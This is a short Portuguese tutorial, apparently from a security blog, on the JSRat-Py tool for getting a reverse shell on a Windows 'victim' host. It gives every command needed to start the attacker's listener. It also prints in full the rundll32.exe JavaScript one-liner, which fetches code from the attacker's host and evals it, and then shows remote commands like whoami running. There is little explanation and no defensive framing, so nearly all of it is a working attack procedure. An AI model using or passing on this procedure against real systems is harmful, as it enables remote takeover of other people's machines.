O JSRat é uma ferramenta desenvolvida em Python que permite a realização de uma conexão reversa em um host Windows via JavaScript através dos executáveis rundll32.exe e regsvr32.exe.
Projeto : github.com/Hood3dRob1n/JSRat-Py.git
Realize o download do JSRat-Py, liste o conteúdo do diretório:
Linuxgit clone http://github.com/Hood3dRob1n/JSRat-Py.git cd JSRat-Py/ ls -l
Confirme o IP do seu host através do comando ipconfig.
Linuxipconfig
Defina o IP e a Porta de conexão (Atacante), neste exemplo o IP do Linux.
Linux./JSRat.py -i 192.168.0.100 -p 8080
Na linha Cliente Command at: será gerada uma URL que deve ser aberta no host Windows (Vítima).
http://192.168.0.100:8080/wtf
Linux[*] Client Command at: http://192.168.0.100:8080/wtf
Agora no host Windows acesse a URL: http://192.168.0.100:8080/wtf/ e copie o comando a seguir :
Linuxrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1") ;h.Open("GET","http://192.168.0.100:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);} catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Execute o comando no Prompt de Comando e pressione ENTER.
Ao retornar ao host Linux observe que a conexão foi estabelecida e que uma relação de comandos foi disponibilizada.
Basta digitar os comandos do Windows, veja alguns exemplos :
Linux$(JSRat)> hostname $(JSRat)> ipconfig $(JSRat)> whoami
Para sair digite o comando exit, em seguida CTRL + C.
Linux$(JSRat)> exit [-] OK, sending rundll32 kill command to Client... [-] Hit CTRL+C to kill server.... ^C [ERROR] CTRL+C Interupt Detected! [x] Shutting Down Web Server...